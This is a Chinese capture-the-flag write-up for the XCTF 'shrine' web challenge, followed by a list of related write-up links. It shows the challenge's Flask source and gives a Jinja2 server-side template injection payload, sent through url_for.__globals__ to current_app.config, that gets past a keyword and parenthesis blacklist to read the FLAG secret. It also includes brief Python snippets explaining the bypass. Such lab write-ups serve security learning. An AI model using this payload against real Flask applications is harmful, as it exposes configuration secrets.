题目

解题

1、访问目标，发现有一段代码

import flask
import osapp = flask.Flask(__name__)app.config['FLAG'] = os.environ.pop('FLAG')@app.route('/')
def index():return open(__file__).read()@app.route('/shrine/<path:shrine>')
def shrine(shrine):def safe_jinja(s):s = s.replace('(', '').replace(')', '')blacklist = ['config', 'self']return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + sreturn flask.render_template_string(safe_jinja(shrine))if __name__ == '__main__':app.run(debug=True)

2、根据源码该题可能是flask模板注入漏洞

该代码过滤了括号和config、self关键字
对该模板注入了解不多，直接上payload
payload

http://111.200.241.244:64667/shrine/{{ url_for.__globals__['current_app'].config['FLAG']}}

为什么没有过滤呢？看下面的对比就知道了，为了更好地对比，我将括号转空变为转中括号[]
代码1：

# -*- coding: UTF-8 -*-
s="/shrine/{{ url_for.__globals__['current_app'].config['FLAG']}}"
s = s.replace('(', '[').replace(')', ']')
blacklist = ['config', 'self']
print(''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s)

代码2：

# -*- coding: UTF-8 -*-
s="/shrine/{{ url_for.__globals__['current_app'].(config)['FLAG']}}"
s = s.replace('(', '[').replace(')', ']')
blacklist = ['config', 'self']
print(''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s)

由此可见只要出现单括号或双括号，是不会对config进行过滤的

XCTF-Web-高手区-shrine相关推荐

XCTF Web 高手区007: NewsCenter
题目: WP: 打开场景看到 search news的字样,只能输入进行操作预测是一道SQL注入的题目本题最直接的方法是sqlmap爆一下数据库然而我对sqlmap的使用并不擅长大家可以去看看 ...
20200109攻防世界WEB高手区题目一题多解全教程通关(13-18)
欢迎大家一起来Hacking水友攻防实验室学习,渗透测试,代码审计,免杀逆向,实战分享,靶场靶机,求关注目录 013unserialize3 014upload1 015Web_python_tem ...
XCTF MISC 高手区 2017_Dating_in_Singapore
2017_Dating_in_Singapore 题目给了一串数字和一个日历pdf,联想到这串数字对应日历上的日期,而且数字分为12段,正好对应12个月,所以在日历上将对应的日期连接起来可得flag ...
XCTF MISC 高手区 Dift
Dift 附件是一张png图片,用foremost分离得到png和一个加密的rar文件,用ARCHPR暴力破解失败. 没有其它可用的信息,压缩包应该是和png图片有关用010editor打开分离后的 ...
攻防世界web高手进阶区ics-05（XCTF 4th-CyberEarth）WriteUp
文章目录解题部分总结: 解题部分题目来源攻防世界web高手进阶区ics-05(XCTF 4th-CyberEarth) 1.拿到题目以后,发现是一个index.php的页面,并且设备-没有显示 ...
攻防世界 web高手进阶区 10分题 weiphp
前言继续ctf的旅程开始攻防世界web高手进阶区的10分题本文是weiphp的writeup 解题过程进入界面点击进入一个登陆界面没有注册那肯定得找源码了惯例源码+御剑发现git泄 ...
攻防世界-web高手进阶区
文章目录攻防世界-web高手进阶区 1.baby_web 2.Training-WWW-Robots 3.Web_php_include (文件包含+伪协议) 1.方法 2.方法 4.ics-06( ...
攻防世界 web高手进阶区 9分题 favorite_number
前言继续ctf的旅程开始攻防世界web高手进阶区的9分题本文是favorite_number的writeup 解题过程进入界面简单的代码审计首先是个判断,既要数组强等于,又要首元素不等然 ...
攻防世界 web高手进阶区 8分题 Web_python_block_chain
前言继续ctf的旅程开始攻防世界web高手进阶区的8分题本文是Web_python_block_chain的writeup 解题过程这是个区块链题这..裂开了啊没搞过区块链从零开始学习 ...
攻防世界 web高手进阶区 9分题 bilibili
前言继续ctf的旅程开始攻防世界web高手进阶区的9分题本文是bilibili的writeup 解题过程进来界面这尼玛出题人是黑还是粉啊笑死看题目意思是买lv6 惯例源码+御剑没发现什 ...

XCTF-Web-高手区-shrine

题目

解题

1、访问目标，发现有一段代码

2、根据源码该题可能是flask模板注入漏洞

XCTF-Web-高手区-shrine相关推荐

最新文章

热门文章